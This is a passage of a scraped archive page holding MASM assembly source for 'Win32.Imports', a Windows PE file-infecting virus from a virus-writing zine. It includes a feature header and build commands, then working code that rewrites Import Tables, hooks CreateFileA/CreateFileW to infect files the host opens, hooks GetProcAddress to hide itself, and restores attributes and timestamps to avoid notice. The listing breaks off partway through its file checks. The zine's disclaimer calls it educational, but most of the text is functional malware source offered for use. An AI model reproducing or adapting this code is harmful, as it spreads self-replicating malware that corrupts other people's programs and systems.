mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
1107 lines
47 KiB
NASM
1107 lines
47 KiB
NASM
|
COMMENT ` ---------------------------------------------------------------- )=-
|
||
|
-=( Natural Selection Issue #1 ----------------------------- Win32.Imports )=-
|
||
|
-=( ---------------------------------------------------------------------- )=-
|
||
|
|
||
|
-=( 0 : Win32.Imports Features ------------------------------------------- )=-
|
||
|
|
||
|
Imports: Locates LoadLibraryA and GetProcAddress, if they don't exist
|
||
|
then it will find two strings long enough, then copies them
|
||
|
to the virus and overwrites the entries in the Import Table
|
||
|
with our own.
|
||
|
Infects: PE files with any extension, without setting write bit
|
||
|
Strategy: Per-Process residency, it will infect any files
|
||
|
opened using CreateFileA/CreateFileW by the host.
|
||
|
We've also hooked GetProcAddress to hide ourself.
|
||
|
Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files
|
||
|
Saves Stamps: Yes
|
||
|
MultiThreaded: No
|
||
|
Polymorphism: None
|
||
|
AntiAV / EPO: None
|
||
|
SEH Abilities: None
|
||
|
Payload: None
|
||
|
|
||
|
-=( 1 : Win32.Imports Design Goals --------------------------------------- )=-
|
||
|
|
||
|
: To test an implementation of MASMs type checking on API and PROC calls.
|
||
|
: To place all virus data into one structure that can be moved around in
|
||
|
memory so that the virus is outside of the hosts normal memory area.
|
||
|
: To be per process and hook file API to locate infectable files.
|
||
|
: To overwrite strings in the Import Table to import needed API and then
|
||
|
overwrite with the original API values. Doesn't need files to import
|
||
|
a GetProcAddress / LoadLibraryA to infect them properly. But still, does
|
||
|
not do manual Kernel32.DLL scanning.
|
||
|
|
||
|
It took 2 - 3 weeks of coding time, and 2/3 of that was in rewriting the
|
||
|
Import Table code over and over again to make it work. By the time that it
|
||
|
all worked, it was easy to pick a name, Win32.Imports.
|
||
|
|
||
|
-=( 2 : Win32.Imports Design Faults -------------------------------------- )=-
|
||
|
|
||
|
Its structure is horrible. When it was finished, I realised you could use
|
||
|
VirtualProtect API to make section data writeable, and so all of the code
|
||
|
based around moving the virus in memory is a waste of time.
|
||
|
|
||
|
It does, however, infect PE Headers perfectly in all PE files, and doesn't
|
||
|
even need to check for .EXE extensions, so it should infect .CPL and other PE
|
||
|
files as well.
|
||
|
|
||
|
Rather than spend time rewriting it to be more streamlined, it's better to
|
||
|
design a new virus from the ground up that does what you want.
|
||
|
|
||
|
-=( 3 : Win32.Imports Disclaimer ----------------------------------------- )=-
|
||
|
|
||
|
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
||
|
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
||
|
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
||
|
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
||
|
|
||
|
COPYRIGHT
|
||
|
Copyright on materials in this magazine and the information therein and
|
||
|
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
||
|
|
||
|
RIGHTS AND LIMITATIONS
|
||
|
You have the right to use, copy and distribute the material in this
|
||
|
magazine free of charge, for all purposes allowed by your governing
|
||
|
laws. You are expressly PROHIBITED from using the material contained
|
||
|
herein for any purposes that would cause or would help promote
|
||
|
the illegal use of the material.
|
||
|
|
||
|
NO WARRANTY
|
||
|
The information contained within this magazine are provided "as is".
|
||
|
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
||
|
or completeness of given information, and expressly disclaims
|
||
|
liability for errors or omissions contained therein. No implied,
|
||
|
express, or statutory warranty, is given in conjunction with this magazine.
|
||
|
|
||
|
LIMITATION OF LIABILITY
|
||
|
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
||
|
damages including and without limitation, direct or indirect, special,
|
||
|
incidental, or consequential damages, losses, or expenses arising in
|
||
|
connection with this magazine, or the use thereof.
|
||
|
|
||
|
ADDITIONAL DISCLAIMER
|
||
|
Computer viruses will spread of their own accord between computer systems, and
|
||
|
across international boundaries. They are raw animals with no concern for the
|
||
|
law, and for that reason your possession of them makes YOU responsible for the
|
||
|
actions they carry out.
|
||
|
|
||
|
The viruses provided in this magazine are for educational purposes ONLY. They
|
||
|
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
||
|
conditions. If compiled and executed these viruses WILL land you in court(s).
|
||
|
|
||
|
You will be held responsible for your actions. As source code these viruses
|
||
|
are inert and covered by implied freedom of speech laws in some
|
||
|
countries. In binary form these viruses are malicious weapons. FEATHERED
|
||
|
SERPENTS do not condone the application of these viruses and will NOT be held
|
||
|
LIABLE for any MISUSE.
|
||
|
|
||
|
-=( 4 : Win32.Imports Compile Instructions ------------------------------- )=-
|
||
|
|
||
|
MASM 6.15 and LINK 6.00.8447
|
||
|
|
||
|
ml /c /Cp /coff /Fl /Zi Imports.asm
|
||
|
link /debug /debugtype:cv /subsystem:windows Imports.obj
|
||
|
|
||
|
-=( 5 : Win32.Imports ---------------------------------------------------- ) `
|
||
|
|
||
|
.386p ; 386 opcodes
|
||
|
.model flat,stdcall ; Written for flat Win32
|
||
|
option casemap:none ; Use mixed case symbols
|
||
|
include masmwinc.inc ; Win32 constant symbols
|
||
|
includelib c:\masm32\lib\kernel32.lib ; First-run imported API
|
||
|
|
||
|
CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
|
||
|
CloseHandle PROTO :DWORD
|
||
|
ExitProcess PROTO :DWORD
|
||
|
LoadLibraryA PROTO :DWORD
|
||
|
GetProcAddress PROTO :DWORD, :DWORD
|
||
|
VirtualAlloc PROTO :DWORD, :DWORD, :DWORD, :DWORD
|
||
|
|
||
|
; We'll drop ourselves into a file that can do CreateFileA/CreateFileW easily
|
||
|
Host SEGMENT 'CODE'
|
||
|
HostFile DW 'C', 'M', 'D', '.', 'E', 'X', 'E', 0
|
||
|
|
||
|
Exitpoint PROC
|
||
|
INVOKE CreateFileW, ADDR HostFile, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0
|
||
|
.IF (eax != INVALID_HANDLE_VALUE)
|
||
|
INVOKE CloseHandle, eax
|
||
|
.ENDIF
|
||
|
INVOKE ExitProcess, NULL
|
||
|
|
||
|
; These are not called, only imported for the virus, and yes they like to
|
||
|
; crash when given bad values ;)
|
||
|
call LoadLibraryA
|
||
|
call GetProcAddress
|
||
|
call VirtualAlloc
|
||
|
Exitpoint ENDP
|
||
|
Host ENDS
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Procedure Layout ) ========================================================
|
||
|
; =============================================================================
|
||
|
; Also, INVOKE needs PROTOs to reference PROCs that are at the end of the file.
|
||
|
Exitpoint PROTO
|
||
|
Entrypoint PROTO
|
||
|
|
||
|
LoadsFile PROTO :PTR VX,:DWORD
|
||
|
CheckFile PROTO :PTR VX,:DWORD
|
||
|
WriteFile PROTO :PTR VX,:DWORD
|
||
|
|
||
|
SetupImports PROTO :PTR VX,:DWORD, :DWORD
|
||
|
ConvertAlign PROTO :DWORD, :DWORD
|
||
|
ConvertToRaw PROTO :DWORD, :DWORD
|
||
|
|
||
|
AlternateSfcIsFileProtected PROTO :DWORD, :DWORD
|
||
|
AlternateCheckSumMappedFile PROTO :DWORD, :DWORD, :DWORD, :DWORD
|
||
|
HookGetProcAddress PROTO :DWORD, :DWORD
|
||
|
HookCreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
|
||
|
HookCreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Constants ) ===============================================================
|
||
|
; =============================================================================
|
||
|
; We avoid files with bad attributes. Buffer_Size is for storing strings we've
|
||
|
; overwritten in the Import Table, Hooks Count is how many API we have in our
|
||
|
; Hooking Table. P_'s are RVA Pointers to locations inside our 1st Gen Host.
|
||
|
AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_SPARSE_FILE OR \
|
||
|
FILE_ATTRIBUTE_REPARSE_POINT OR FILE_ATTRIBUTE_OFFLINE OR \
|
||
|
FILE_ATTRIBUTE_COMPRESSED OR FILE_ATTRIBUTE_ENCRYPTED
|
||
|
|
||
|
BUFFER_SIZE EQU 20H
|
||
|
HOOKS_COUNT EQU 3
|
||
|
|
||
|
P_HOSTS EQU 3000H + (Exitpoint - HostFile)
|
||
|
P_VIRUS EQU 5000H
|
||
|
|
||
|
P_LOADLIBRARYA EQU 8078H
|
||
|
P_GETPROCADDRESS EQU 807CH
|
||
|
P_CREATEFILEW EQU 8084H
|
||
|
|
||
|
; ============================================================================
|
||
|
; ( Virus Macros ) ===========================================================
|
||
|
; ============================================================================
|
||
|
; DESCRIBE splits long API strings from me into useable units of information :P
|
||
|
; tAPI TypeDef for this API for Parameter Checking
|
||
|
; mAPI Preconstructed MACRO for API, limited only to a few built ones
|
||
|
; bAPI [OPTIONAL] Buffer for stolen API Strings
|
||
|
; lAPI [OPTIONAL] Length of sAPI, ONLY useable on GetProc/LoadLibraryA
|
||
|
; pAPI Final API VA, or API RVA for GetProc/LoadLibraryA at Entrypoint
|
||
|
; sAPI API String
|
||
|
; DO_API is a wrapper for INVOKE that stops registers except EAX from changing.
|
||
|
; LOCATE is a small clean way to get Delta Offset into EDX
|
||
|
|
||
|
DESCRIBE MACRO NAME:REQ, COUNT:REQ, VALUE:=<0>, PARAMETERS, STACK, FINISH
|
||
|
LOCAL T_LIST, S_SIZE
|
||
|
|
||
|
T_LIST TEXTEQU <TYPEDEF PROTO>
|
||
|
REPEAT (COUNT - 1)
|
||
|
T_LIST CATSTR T_LIST, < :DWORD, >
|
||
|
ENDM
|
||
|
t&NAME &T_LIST :DWORD
|
||
|
|
||
|
m&NAME MACRO PARAMETERS
|
||
|
DO_API t&NAME PTR [edx][VX.p&NAME], STACK
|
||
|
&FINISH
|
||
|
ENDM
|
||
|
|
||
|
S_SIZE SIZESTR <&NAME>
|
||
|
IF &VALUE
|
||
|
b&NAME DB '&NAME'
|
||
|
DB (BUFFER_SIZE - S_SIZE) DUP (0)
|
||
|
l&NAME DD S_SIZE + 2
|
||
|
ENDIF
|
||
|
p&NAME DD &VALUE
|
||
|
s&NAME DB '&NAME', 0
|
||
|
ALIGN 2
|
||
|
ENDM
|
||
|
|
||
|
DO_API MACRO PARAMETERS:VARARG
|
||
|
PUSHAD
|
||
|
INVOKE &PARAMETERS
|
||
|
MOV [ESP+1CH], EAX
|
||
|
POPAD
|
||
|
ENDM
|
||
|
|
||
|
LOCATE MACRO
|
||
|
CALL @F
|
||
|
@@: POP EDX
|
||
|
SUB EDX, (($ - 1) - Virus_Data)
|
||
|
ENDM
|
||
|
|
||
|
; ============================================================================
|
||
|
; ( Main Data Structure ) ====================================================
|
||
|
; ============================================================================
|
||
|
; VX is used for all of the main data, and LVX a small version just for loadup.
|
||
|
|
||
|
VX STRUCT DWORD
|
||
|
; RVA of VX Structure inside Host, and RVA of Host's Original Entrypoint
|
||
|
SectionEntrypoint DD P_VIRUS
|
||
|
HostEntrypoint DD P_HOSTS
|
||
|
|
||
|
FileAttributes DD 0
|
||
|
FileCreationTime FILETIME {}
|
||
|
FileLastAccessTime FILETIME {}
|
||
|
FileLastWriteTime FILETIME {}
|
||
|
FileSize DD 0
|
||
|
|
||
|
; RVA of Kernel32.DLL Import Table so we can clear Binding in WriteFile.
|
||
|
BoundImport DD 0
|
||
|
|
||
|
; RVA of the Section we will end up in, and its Size. ThunkArrayRVA is
|
||
|
; used in SetupImports to track the FirstThunk entry of API in a loop.
|
||
|
LastSection DD 0
|
||
|
SizeSection DD 0
|
||
|
ThunkArrayRVA DD 0
|
||
|
|
||
|
; Our base API Data Table. Imagine if I didn't have MACRO and had to split
|
||
|
; this across more than one line each!
|
||
|
; Name, Count, Value, Macro Setup, Macro Parameters, Macro Finish
|
||
|
DESCRIBE CheckSumMappedFile, 4
|
||
|
DESCRIBE CloseHandle, 1
|
||
|
DESCRIBE CompareStringA, 6, , <STRING1, STRING2>, <LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, STRING2, -1>, <cmp eax, 2>
|
||
|
DESCRIBE CreateFileA, 7, , <NAME>, <NAME, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 >
|
||
|
DESCRIBE CreateFileW, 7
|
||
|
DESCRIBE CreateFileMappingA, 6, , <HANDLE, FILESIZE>, <HANDLE, 0, PAGE_READWRITE, 0, FILESIZE, 0>
|
||
|
DESCRIBE ExitProcess, 1
|
||
|
DESCRIBE GetFileSize, 2
|
||
|
DESCRIBE GetFileTime, 4
|
||
|
DESCRIBE GetFileType, 1
|
||
|
DESCRIBE GetFileAttributesA, 1
|
||
|
DESCRIBE GetProcAddress, 2, P_GETPROCADDRESS
|
||
|
DESCRIBE LoadLibraryA, 1, P_LOADLIBRARYA
|
||
|
DESCRIBE MapViewOfFile, 5, , <HANDLE>, <HANDLE, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL>
|
||
|
DESCRIBE SetFileAttributesA, 2
|
||
|
DESCRIBE SetFileTime, 4
|
||
|
DESCRIBE SfcIsFileProtected, 2
|
||
|
DESCRIBE UnmapViewOfFile, 1
|
||
|
DESCRIBE WideCharToMultiByte, 8
|
||
|
DESCRIBE VirtualAlloc, 4
|
||
|
DESCRIBE VirtualProtect, 4
|
||
|
|
||
|
UsedKernel DB 'KERNEL32.DLL', 0
|
||
|
UsedImage DB 'IMAGEHLP.DLL', 0
|
||
|
UsedSFC DB 'SFC.DLL', 0
|
||
|
; Our Table of API we need to import. ExitProcess and VirtualAlloc are now
|
||
|
; excluded, as they're not used past Entrypoint which uses them directly.
|
||
|
; Pointer to our Pointer, Pointer to DLL, Pointer to Alternate Routine
|
||
|
UsedAPI DD VX.pCheckSumMappedFile, VX.UsedImage, AlternateCheckSumMappedFile - Virus_Data
|
||
|
DD VX.pCloseHandle, VX.UsedKernel, NULL
|
||
|
DD VX.pCompareStringA, VX.UsedKernel, NULL
|
||
|
DD VX.pCreateFileA, VX.UsedKernel, NULL
|
||
|
DD VX.pCreateFileW, VX.UsedKernel, NULL
|
||
|
DD VX.pCreateFileMappingA, VX.UsedKernel, NULL
|
||
|
;D VX.pExitProcess, VX.UsedKernel, NULL
|
||
|
DD VX.pGetFileAttributesA, VX.UsedKernel, NULL
|
||
|
DD VX.pGetFileSize, VX.UsedKernel, NULL
|
||
|
DD VX.pGetFileTime, VX.UsedKernel, NULL
|
||
|
DD VX.pGetFileType, VX.UsedKernel, NULL
|
||
|
DD VX.pGetProcAddress, VX.UsedKernel, NULL
|
||
|
DD VX.pLoadLibraryA, VX.UsedKernel, NULL
|
||
|
DD VX.pMapViewOfFile, VX.UsedKernel, NULL
|
||
|
DD VX.pSetFileAttributesA, VX.UsedKernel, NULL
|
||
|
DD VX.pSetFileTime, VX.UsedKernel, NULL
|
||
|
DD VX.pSfcIsFileProtected, VX.UsedSFC, AlternateSfcIsFileProtected - Virus_Data
|
||
|
DD VX.pUnmapViewOfFile, VX.UsedKernel, NULL
|
||
|
;D VX.pVirtualAlloc, VX.UsedKernel, NULL
|
||
|
;D VX.pVirtualProtect, VX.UsedKernel, NULL
|
||
|
DD VX.pWideCharToMultiByte, VX.UsedKernel, NULL
|
||
|
DD NULL
|
||
|
|
||
|
; Our Table of API we want to hook, and corresponding routines in our code.
|
||
|
; RVA into Import Table, Replacement Address, Pointer to our Pointer
|
||
|
HookAPI DD NULL, HookCreateFileA - Virus_Data, VX.pCreateFileA
|
||
|
DD P_CREATEFILEW, HookCreateFileW - Virus_Data, VX.pCreateFileW
|
||
|
DD P_GETPROCADDRESS, HookGetProcAddress - Virus_Data, VX.pGetProcAddress
|
||
|
|
||
|
; Not really necessary, but don't want to take it out and forget later why
|
||
|
; everything crashes if I ever wanted to push a structure onto a stack :P
|
||
|
DB 0, 'Win32.Imports', 0
|
||
|
ALIGN 4
|
||
|
VX ENDS
|
||
|
|
||
|
LVX STRUCT DWORD
|
||
|
ImageBase DD 0
|
||
|
KernelHandle DD 0
|
||
|
pExitProcess DD 0
|
||
|
pLoadLibraryA DD 0
|
||
|
pGetProcAddress DD 0
|
||
|
pVirtualProtect DD 0
|
||
|
ProtectedArea DD 0
|
||
|
OldProtection DD 0
|
||
|
LVX ENDS
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Entrypoint and Setup ) ====================================================
|
||
|
; =============================================================================
|
||
|
Virus SEGMENT 'CODE'
|
||
|
Virus_Data VX {}
|
||
|
|
||
|
WinMain:
|
||
|
; Save a NULL on the stack which we will turn into a VA and RET to later
|
||
|
push NULL
|
||
|
|
||
|
Entrypoint PROC
|
||
|
LOCAL VD:LVX
|
||
|
|
||
|
; Save the registers, so programs don't crash! Calculate our ImageBase.
|
||
|
; EDX = Start Virus, EAX = Start Image.
|
||
|
pushad
|
||
|
pushfd
|
||
|
LOCATE
|
||
|
mov eax, edx
|
||
|
sub eax, [edx][VX.SectionEntrypoint]
|
||
|
|
||
|
; Save VAs of GetProcAddress/LoadLibraryA Pointers, then steal the VA of
|
||
|
; the API themselves.
|
||
|
; ESI = GetProcAddress API, EDI = LoadLibraryA API
|
||
|
mov esi, [edx][VX.pGetProcAddress]
|
||
|
lea ebx, [eax][esi ]
|
||
|
push ebx
|
||
|
mov esi, [ebx ]
|
||
|
|
||
|
mov edi, [edx][VX.pLoadLibraryA ]
|
||
|
lea ebx, [eax][edi ]
|
||
|
push ebx
|
||
|
mov edi, [ebx ]
|
||
|
|
||
|
; Save values into our stack structure, and overwrite the NULL we stored
|
||
|
; on the stack at Entrypoint, with the the return VA of the Host.
|
||
|
mov [VD.pGetProcAddress], esi
|
||
|
mov [VD.pLoadLibraryA], edi
|
||
|
mov [VD.ImageBase], eax
|
||
|
add eax, [edx][VX.HostEntrypoint]
|
||
|
mov [ebp][4], eax
|
||
|
|
||
|
; Save handle of Kernel32.DLL, plus ExitProcess and VirtualProtect VA's.
|
||
|
DO_API tLoadLibraryA PTR edi, ADDR [edx][VX.UsedKernel]
|
||
|
mov [VD.KernelHandle], eax
|
||
|
DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sExitProcess]
|
||
|
mov [VD.pExitProcess], eax
|
||
|
DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualProtect]
|
||
|
mov [VD.pVirtualProtect], eax
|
||
|
|
||
|
; Make the Import Table writeable, then calculate stolen API and fix up.
|
||
|
pop edi
|
||
|
mov [VD.ProtectedArea], edi
|
||
|
DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, PAGE_EXECUTE_READWRITE, ADDR [VD.OldProtection]
|
||
|
|
||
|
DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bLoadLibraryA]
|
||
|
test eax, eax
|
||
|
jz WinFail
|
||
|
stosd
|
||
|
|
||
|
pop edi
|
||
|
DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bGetProcAddress]
|
||
|
test eax, eax
|
||
|
jz WinFail
|
||
|
stosd
|
||
|
|
||
|
; Move the virus into memory, and return to the Host if none is available.
|
||
|
mov ecx, Virus_Size
|
||
|
DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualAlloc]
|
||
|
DO_API tVirtualAlloc PTR eax, NULL, ecx, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE
|
||
|
.IF (eax == NULL)
|
||
|
jmp WinExit
|
||
|
.ELSE
|
||
|
lea esi, [edx]
|
||
|
lea edi, [eax]
|
||
|
shr ecx, 2
|
||
|
cld
|
||
|
rep movsd
|
||
|
lea edx, [eax]
|
||
|
.ENDIF
|
||
|
|
||
|
; Now that we can start writing to our data section, it's time to parse
|
||
|
; our UsedAPI list. RVAs are relative to VX.
|
||
|
; Format: RVA of our storage and ASCIIZ -- Or NULL [End of Table]
|
||
|
; RVA to DLL Name for this Import
|
||
|
; RVA of Alternate Internal API
|
||
|
lea esi, [edx][VX.UsedAPI]
|
||
|
.WHILE TRUE
|
||
|
; Abort if this entry marks the end of the table. Otherwise get it
|
||
|
; ready to write the final API address to. Load the next value as
|
||
|
; it's the RVA of the DLL Name.
|
||
|
lodsd
|
||
|
.BREAK .IF (eax == NULL)
|
||
|
lea edi, [edx][eax]
|
||
|
lea ebx, [edx][eax][4]
|
||
|
lodsd
|
||
|
|
||
|
; Get the API's address
|
||
|
DO_API tLoadLibraryA PTR [VD.pLoadLibraryA], ADDR [edx][eax]
|
||
|
DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx
|
||
|
|
||
|
; Overwrite our Internal Entry with the API and load the Alternate
|
||
|
; API RVA just in case. If the API wasn't found and there is no
|
||
|
; Alternate Entry, then we abort immediately. Otherwise convert
|
||
|
; it to a VA and save it as the Internal Entry instead.
|
||
|
stosd
|
||
|
or eax, eax
|
||
|
lodsd
|
||
|
.IF (ZERO?)
|
||
|
.IF (eax == NULL)
|
||
|
jmp WinFail
|
||
|
.ENDIF
|
||
|
lea eax, [edx][eax]
|
||
|
mov [edi][-4], eax
|
||
|
.ENDIF
|
||
|
.ENDW
|
||
|
|
||
|
; Our last stage of setup is to hook all of the hookable API that the
|
||
|
; host uses
|
||
|
; Format: RVA of Import Address to Overwrite
|
||
|
; RVA relative to VX of our Hook API
|
||
|
; RVA of VX.pName
|
||
|
lea esi, [edx][VX.HookAPI]
|
||
|
mov ecx, HOOKS_COUNT
|
||
|
.REPEAT
|
||
|
; First entry is RVA of Import Address Table Entry. Second entry
|
||
|
; is the RVA of our Hook Procedure. Third entry is only used in
|
||
|
; setting up the HookAPI.
|
||
|
lodsd
|
||
|
.IF (eax == NULL)
|
||
|
lodsd
|
||
|
.ELSE
|
||
|
add eax, [VD.ImageBase]
|
||
|
mov edi, eax
|
||
|
lodsd
|
||
|
lea eax, [edx][eax]
|
||
|
stosd
|
||
|
.ENDIF
|
||
|
lodsd
|
||
|
.UNTILCXZ
|
||
|
|
||
|
WinExit:
|
||
|
; Restore section attributes.
|
||
|
mov edi, [VD.ProtectedArea]
|
||
|
DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, [VD.OldProtection], ADDR [VD.OldProtection]
|
||
|
|
||
|
; Everything is AOK, we'll leave the virus and return to the Host, but
|
||
|
; we've already hooked it's API and will be called into action soon :)
|
||
|
popfd
|
||
|
popad
|
||
|
ret
|
||
|
|
||
|
WinFail:
|
||
|
; Something went terribly wrong and the Host is probably a trap, so we
|
||
|
; exit as quickly as possible and don't let it execute.
|
||
|
INVOKE tExitProcess PTR [VD.pExitProcess], -1
|
||
|
Entrypoint ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Control Center ) ==========================================================
|
||
|
; =============================================================================
|
||
|
LoadsFile PROC VD:PTR VX, FILENAME:DWORD
|
||
|
; Make sure the files are not protected under Win2K File Protection :|
|
||
|
mov edx, [VD]
|
||
|
mov esi, [FILENAME]
|
||
|
|
||
|
DO_API tSfcIsFileProtected PTR [edx][VX.pSfcIsFileProtected], NULL, esi
|
||
|
test eax, eax
|
||
|
jnz LoadsExit
|
||
|
|
||
|
; Avoid files with certain attributes, and if they are read only or if
|
||
|
; they are system, zero these attributes temporarily. We only change
|
||
|
; attributes if absolutely necessary, less logs, and heuristics, okay?
|
||
|
DO_API tGetFileAttributesA PTR [edx][VX.pGetFileAttributesA], esi
|
||
|
cmp eax, INVALID_HANDLE_VALUE
|
||
|
je LoadsExit
|
||
|
mov [edx][VX.FileAttributes], eax
|
||
|
test eax, AVOIDED_FILES
|
||
|
jnz LoadsExit
|
||
|
test eax, FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM
|
||
|
.IF !(ZERO?)
|
||
|
DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], esi, FILE_ATTRIBUTE_NORMAL
|
||
|
test eax, eax
|
||
|
jz LoadsExit
|
||
|
.ENDIF
|
||
|
|
||
|
; Open our file. All opens are done in read-write mode as it saves me
|
||
|
; from having to mess around. Save the time stamps straight away.
|
||
|
mCreateFileA esi
|
||
|
cmp eax, INVALID_HANDLE_VALUE
|
||
|
je LoadsExitAttributes
|
||
|
push eax
|
||
|
mov ebx, eax
|
||
|
|
||
|
DO_API tGetFileTime PTR [edx][VX.pGetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime]
|
||
|
test eax, eax
|
||
|
jz LoadsExitClose
|
||
|
push ebx
|
||
|
|
||
|
; Check the file size, don't Loads files that are too small or too big.
|
||
|
; Too small = Below 16K. Too big = Above 1G.
|
||
|
DO_API tGetFileSize PTR [edx][VX.pGetFileSize], ebx, NULL
|
||
|
cmp eax, 000004000H
|
||
|
jb LoadsExitTimes
|
||
|
cmp eax, 040000000H
|
||
|
ja LoadsExitTimes
|
||
|
mov [edx][VX.FileSize], eax
|
||
|
|
||
|
; Make sure this is a disk file and not some other handle we've opened!!
|
||
|
DO_API tGetFileType PTR [edx][VX.pGetFileType], ebx
|
||
|
cmp eax, FILE_TYPE_DISK
|
||
|
jne LoadsExitTimes
|
||
|
|
||
|
; Turn the file handle into a mapping handle, and map a view into memory
|
||
|
mCreateFileMappingA ebx, NULL
|
||
|
test eax, eax
|
||
|
jz LoadsExitTimes
|
||
|
push eax
|
||
|
mMapViewOfFile eax
|
||
|
cmp eax, INVALID_HANDLE_VALUE
|
||
|
je LoadsExitMap
|
||
|
push eax
|
||
|
|
||
|
; Run checks on the file and fill in virus information fields so that we
|
||
|
; can infect it if we want. We *DON'T* modify anything at this stage so
|
||
|
; if something goes wrong, the file is still in its original state.
|
||
|
DO_API CheckFile, edx, eax
|
||
|
test eax, eax
|
||
|
jz LoadsExitView
|
||
|
|
||
|
; Close our View and Map, then recreate the file bigger so the virus can
|
||
|
; fit inside. We don't know how much extra space the virus will take,
|
||
|
; until after PrepareFile, where it's had a chance to look at FileAlign.
|
||
|
pop ebx
|
||
|
DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx
|
||
|
pop ebx
|
||
|
DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx
|
||
|
|
||
|
; Turn the file handle into a mapping handle, and map a view into memory
|
||
|
pop ebx
|
||
|
push ebx
|
||
|
mCreateFileMappingA ebx, [edx][VX.FileSize]
|
||
|
test eax, eax
|
||
|
jz LoadsExitTimes
|
||
|
push eax
|
||
|
mMapViewOfFile eax
|
||
|
cmp eax, INVALID_HANDLE_VALUE
|
||
|
jz LoadsExitMap
|
||
|
push eax
|
||
|
|
||
|
; With everything prepared, now we write ourselves to the our new host :)
|
||
|
DO_API WriteFile, edx, eax
|
||
|
|
||
|
LoadsExitView: ; Close a View
|
||
|
pop ebx
|
||
|
DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx
|
||
|
LoadsExitMap: ; Close a Map
|
||
|
pop ebx
|
||
|
DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx
|
||
|
LoadsExitTimes: ; Restore Time Stamps
|
||
|
pop ebx
|
||
|
DO_API tSetFileTime PTR [edx][VX.pSetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime]
|
||
|
LoadsExitClose: ; Close a Handle
|
||
|
pop ebx
|
||
|
DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx
|
||
|
LoadsExitAttributes: ; Restore Attributes only if they've been changed
|
||
|
test [edx][VX.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM
|
||
|
jz LoadsExit
|
||
|
DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], [FILENAME], [edx][VX.FileAttributes]
|
||
|
LoadsExit: ; Finally, we can exit!
|
||
|
ret
|
||
|
LoadsFile ENDP
|
||
|
|
||
|
; =============================================================================
|
||
|
; ( Prepare File For Infection ) ==============================================
|
||
|
; =============================================================================
|
||
|
CheckFile PROC VD:PTR VX, FILEHANDLE:DWORD
|
||
|
; We are mainly concerned with looping through the Imports and Sections
|
||
|
; gathering data, so first, we clear out our Import storage areas
|
||
|
xor eax, eax
|
||
|
mov edx, [VD ]
|
||
|
mov [edx][VX.pLoadLibraryA ], eax
|
||
|
mov [edx][VX.pGetProcAddress], eax
|
||
|
lea edi, [edx][VX.HookAPI ]
|
||
|
mov ecx, HOOKS_COUNT
|
||
|
.REPEAT
|
||
|
stosd
|
||
|
add edi, 8
|
||
|
.UNTILCXZ
|
||
|
mov edi, [FILEHANDLE]
|
||
|
|
||
|
; Check if the file is already infected [DOS Checksum = -1], and load up
|
||
|
; the PE Header, running it for basic Win32 Intel PE checks.
|
||
|
cmp [edi][IMAGE_DOS_HEADER.e_csum], -1
|
||
|
je CheckFail
|
||
|
cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE
|
||
|
jne CheckFail
|
||
|
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
||
|
cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE
|
||
|
jne CheckFail
|
||
|
cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386
|
||
|
jne CheckFail
|
||
|
test [edi][PE.Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE
|
||
|
jz CheckFail
|
||
|
test [edi][PE.Characteristics], IMAGE_FILE_DLL
|
||
|
jnz CheckFail
|
||
|
